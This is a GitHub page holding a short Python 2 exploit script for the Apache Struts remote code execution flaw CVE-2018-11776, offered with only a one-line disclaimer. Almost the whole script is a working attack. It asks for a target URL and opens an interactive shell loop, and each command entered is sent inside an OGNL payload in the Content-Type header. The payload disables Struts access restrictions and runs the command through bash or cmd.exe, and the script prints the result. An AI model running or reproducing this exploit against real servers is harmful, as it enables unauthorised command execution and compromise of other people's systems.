-
Notifications
You must be signed in to change notification settings - Fork 5
/
Apache_Struts.py
30 lines (29 loc) · 1.88 KB
/
Apache_Struts.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
#
# Purpose: 0-Day Vulnerability (CVE-2018-11776) Found in Apache Struts.
#
# Prerequisites: Remote Code Execution Vulnerability.
#
# DISCLAIMER: Use against your own hosts only. Attacking stuff you are not
# permitted to may put you in big trouble!
#
#
import urllib2
#Arun Bhandari
print"""
_____ _ _____ _ _ ___ _
| _ |___ ___ ___| |_ ___ | __| |_ ___ _ _| |_ | |_| |___ _ _
| | . | .'| _| | -_| |__ | _| _| | | _| | | | . | .'| | |
|__|__| _|__,|___|_|_|___| |_____|_| |_| |___|_| |___|___|__,|_ |
|_| |___|
LightCoder
"""
chk=raw_input('Enter URL : ')
cmd='Witch3r'
while(cmd):
cmd=raw_input('Shell:')
exp = "%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + " && echo witch3r').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
req = urllib2.Request(chk, headers={'User-Agent': 'Mozilla/5.0', 'Content-Type': exp})
con=urllib2.urlopen(req).read()
end=con.find('witch3r')
print con[0:end]